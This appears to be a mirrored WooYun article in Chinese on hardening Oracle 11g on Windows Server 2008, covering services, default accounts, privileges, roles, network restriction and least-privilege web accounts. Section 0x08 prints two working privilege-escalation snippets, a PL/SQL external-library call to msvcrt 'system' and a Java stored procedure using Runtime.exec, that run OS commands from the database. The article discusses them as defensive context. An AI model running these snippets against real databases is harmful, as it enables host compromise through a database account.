Oracle安全配置

wyzsk發表於2020-08-19
作者: zhangsan · 2014/07/13 13:49

0x01 測試環境


作業系統:window server 2008 x64 oracle:oracle 11.2.0.1.0

0x02 oracle許可權介紹


  1. oracle一個例項就是一個資料庫,建立一個新的資料庫會產生一個新的例項,並且一個例項獨立執行一個程式。
  2. 一個使用者對應一個方案,當使用者新建一個資料物件(比如表)之後會在此方案下面。自己訪問可以直接訪問,其他使用者訪問需透過“方案名.物件名”的方式。
  3. 使用者預設擁有自己方案下面的資料物件的許可權,其他使用者無相應許可權。sys,system預設擁有所有方案的許可權。
  4. 當一個使用者登入oracle例項時,首先需要判斷使用者是有否登入許可權,如果沒有,直接不能登入,如果有,則登入成功。登入成功之後,會根據使用者擁有的許可權來決定能做的事情,在進行一項操作時,如果有許可權,則操作成功,如果沒有許可權,則操作失敗。
  5. oracle主要有兩個核心程式,一個是oracle的服務程式,一個是監聽程式,當外部連線oracle時,首先是訪問的監聽程式,由監聽程式根據你訪問的資料庫例項來轉發到相應的oracle例項程式處理。

0x03 oracle系統服務


在window server 2008中安裝的oracle 11g總共會有七個服務,這七個服務的含義分別為:

a. Oracle ORCL VSS Writer Service:

Oracle卷對映複製寫入服務,VSS(Volume Shadow Copy Service)能夠讓儲存基礎裝置(比如磁碟,陣列等)建立高保真的時間點映像,即對映複製(shadow copy)。它可以在多卷或者單個捲上建立對映複製,同時不會影響到系統的系統能。(非必須啟動)

b. OracleDBConsoleorcl:

Oracle資料庫控制檯服務,orcl是Oracle的例項標識,預設的例項為orcl。在執行Enterprise Manager(企業管理器OEM)的時候,需要啟動這個服務。(非必須啟動)

c. OracleJobSchedulerORCL:

Oracle作業排程(定時器)服務,ORCL是Oracle例項標識。(非必須啟動)

d. OracleMTSRecoveryService:

服務端控制。該服務允許資料庫充當一個微軟事務伺服器MTS、COM/COM+物件和分散式環境下的事務的資源管理器。(非必須啟動)

e. OracleOraDb11g_home1ClrAgent:

Oracle資料庫.NET擴充套件服務的一部分。 (非必須啟動)

f. OracleOraDb11g_home1TNSListener:

監聽器服務,服務只有在資料庫需要遠端訪問的時候才需要。(非必須啟動,但是供外部訪問則必須啟動)。

g. OracleServiceORCL:

資料庫服務(資料庫例項),是Oracle核心服務該服務,是資料庫啟動的基礎, 只有該服務啟動,Oracle資料庫才能正常啟動。(必須啟動)

那麼在開發的時候到底需要啟動哪些服務呢?

對新手來說,要是隻用Oracle自帶的sql*plus的話,只要啟動OracleServiceORCL即可,要是使用PL/SQL Developer等第三方工具的話,OracleOraDb11g_home1TNSListener服務也要開啟。OracleDBConsoleorcl是進入基於web的EM必須開啟的,其餘服務很少用。

0x04 oracle預設賬戶


在oracle11g安裝後,會有很多系統預設賬號,除了4個外,其他的都處於鎖定狀態,如無特殊用途,請不要開啟。另外4個分別為:

  1. SYS使用者 SYS,當建立一個資料庫時,SYS使用者將被預設建立並授予DBA角色,所有資料庫資料字典中的基本表和檢視都儲存在名為SYS的方案中,這些基本表和檢視對於Oracle資料庫的操作是非常重要的。為了維護資料字典的真實性,SYS方案中的表只能由系統來維護,他們不能被任何使用者或資料庫管理員修改,而且任何使用者不能在SYS方案中建立表。

  2. SYSTEM使用者 SYSTEM,與SYS一樣,在建立Oracle資料庫時,SYSTEM使用者被預設建立並被授予DBA角色,用於建立顯示管理資訊的表或檢視,以及被各種Oracle資料庫應用和工具使用的內容表 或檢視。

  3. DBSNMP使用者 DBSNMP是Oracle資料庫中用於智慧代理(Intelligent Agent)的使用者,用來監控和管理資料庫相關效能的使用者,如果停止該使用者,則無法提取相關的資料資訊。

  4. SYSMAN使用者 SYSMAN是Oracle資料庫中用於EM管理的使用者,如果你不用該使用者,也可以刪除或者鎖定。

以上4個賬戶的密碼均為安裝時候設定的密碼,由於一般情況下,DBSNMP和SYSMAN使用者不會被使用而被遺漏,建議鎖定。

0x05 oracle許可權和角色


a.許可權

oracle許可權分為系統許可權和物件許可權,當剛剛建立使用者時,使用者沒有任何許可權,也不能執行任何操作。如果要執行某種特定的資料庫操作,則必須為其授予系統的許可權。如果使用者要訪問其他方案的物件,則必須為其授予物件的許可權。

系統許可權是指執行特定型別Sql命令的權利,它用於控制使用者可以執行的一個或是一組資料庫操作。比如當使用者具有create table許可權是,可以在其方案中建表,當使用者具有create any table許可權時,可以在任何方案中建表。Oracle提供了100多種系統許可權。

常見的系統許可權見下表:

create session

連線資料庫

create view

建立檢視

create procedure

建立過程、函式、包

create cluster

建簇

create table

建立表

create public synonym

建立同義詞

create trigger

建立觸發器

常見的物件許可權見下表:

alter

修改表結構

delete

刪除資料

select

查詢資料

insert

新增資料

update

修改資料

index

在表上建立索引

references

引用

execute

執行

注:可以用all代替select, update, insert, alter, index, delete

b. 角色

oracle角色分為系統角色和自定義角色,自定義角色可以根據需要指定相應的許可權,系統角色主要介紹下面3個:

DBA: 擁有全部特權,是系統最高許可權,只有DBA才可以建立資料庫結構。

RESOURCE:擁有Resource許可權的使用者只可以建立實體,不可以建立資料庫結構。

CONNECT:擁有Connect許可權的使用者只可以登入,不可以建立實體和資料庫結構。

對於普通使用者:授予connect, resource角色。

對於DBA管理使用者:授予connect,resource, dba角色。

0x06 oracle如何建立網站連線使用者


方案一:

  1. 使用system新建一個使用者名稱,給予connect,resource 的角色

  2. 使用新建的使用者登入,然後建立需要的表

  3. 使用system登入,revoke新建使用者的connect,resource角色

  4. 使用system登入,grant新建使用者create session 許可權

  5. 使用system登入,給予新建使用者在USERS表空間的許可權

方案二:

  1. 使用system登入,建立網站需要的表

  2. 使用system登入,建立一個使用者名稱

  3. 使用system登入,grant新建使用者create session的系統許可權,然後根據網站的需要給予所建表的相應的物件許可權。

  4. 使用system登入,給予新建使用者在USERS表空間的許可權

  5. 網站訪問資料庫的時候使用“system.表名”的形式。

0x07 oracle安全配置方案


1. 限制訪問ip

方法一:

防火牆指定,windows中透過windows防火牆中指定監聽埠的訪問ip,linux中透過iptables指定監聽埠的訪問ip。

方法二:

windows中可透過ipsec指定監聽埠的訪問ip。

方法三:

可透過oracle的監聽器中指定可訪問的ip 在伺服器上的檔案$ORACLE_HOME/network/admin/sqlnet.ora中設定以下行:

tcp.validnode_checking = yes

允許訪問的ip

tcp.invited_nodes = (ip1,ip2…)

不允許訪問的ip

tcp.excluded_nodes=(ip1,ip2,……)
  1. 修改埠 可以修改監聽器的埠,減少掃描量

  2. 關閉不必要的服務 可以關閉不必要的服務來減少對外訪問,除了OracleServiceORCL和OracleOraDb11g_home1TNSListener是必須開啟的之外,其他的均可以關閉。特別是OracleDBConsoleorcl服務的開啟會啟用web版的EM,訪問埠在1158,如不需要請關閉此服務。

  3. 所有的使用者均需設定強密碼 在設定密碼的時候均需要設定8位以上的強密碼,且包含大小寫,數字,特殊字元。

  4. 關閉不需要的使用者 oracle預設會有4個不鎖定的賬戶,建議鎖定DBSNMP和SYSMAN。

  5. 特權賬戶的處理 限制資料庫超級管理員遠端登入。 a. 在spfile中設定 REMOTE_LOGIN_PASSWORDFILE=NONE b.在sqlnet.ora中設定 SQLNET.AUTHENTICATION_SERVICES=NONE 禁用SYSDBA角色的自動登入

  6. 開啟日誌 可以開啟日誌對資料庫進行審計,但是也會消耗資源,可根據實際情況操作。

  7. 網站使用的資料庫賬號許可權最小化 可以根據上面寫的網站連線資料庫賬戶推薦的方案建立。

  8. 合理使用資料庫程式賬戶 資料庫程式賬戶使用較低許可權賬戶,新建一個新使用者,新增資料目錄的寫許可權,如果配置之後跑不起來,可以退而求其次,給予整個資料庫目錄的完全控制許可權。

  9. 合理配置資料庫程式賬戶對磁碟的許可權 不要給予資料庫目錄以外的特殊許可權,最好是讀取許可權都不給,可以根據實際情況來安排,原則就是資料庫目錄給的許可權能保證正常執行,其他的目錄能不給就不給。

0x08 oracle提權及防禦點


1. 透過PL/SQL提權

create or replace library exec_shell as '$ORACLE_HOME\bin\msvcrt.dll';  
create or replace procedure execmd (command in char) is external name "system" library exec_shell language c; / exec execmd('net user >netaaa.txt');

2. 使用java提權

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD { public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } }; / CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)'; / exec javacmdproc('cmd.exe /c net user > netaaa.txt');

以上兩種方法如果使用sys均可以提權成功,而普通許可權使用者是無法完成上面的操作的。所以防禦源頭還是隻能對sys特權賬戶的管理,但是如果真的特權賬戶被駭客獲取,此時的方法也只有使用低許可權的資料庫程式賬戶,以及控制程式賬戶對磁碟的許可權,這樣操作能將駭客能夠操作的許可權降到最低。 至於先對低許可權的oracle賬戶提升為dba許可權,然後進行系統提權的操作本文不討論,也請大牛提供更好的方法。

0x09 oracle常見操作命令


1. 連線資料庫

conn [email protected] as sysdba;

2. 新建使用者

create user yonghuming identified by mima;

3. 給使用者授權

grant connect, resource to yonghuming; grant create session to yonghuming; alter user yonghuming quota unlimited on USERS; grant unlimited tablespace to yonghuming; grant select on testable to yonghuming;

4. 取消授權

revoke connect , resource from yonghuming;

5. 刪除鎖定(解鎖)賬號

alter user yonghuming lock; alter user yonghuming unlock; drop user yonghuming cascade;
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章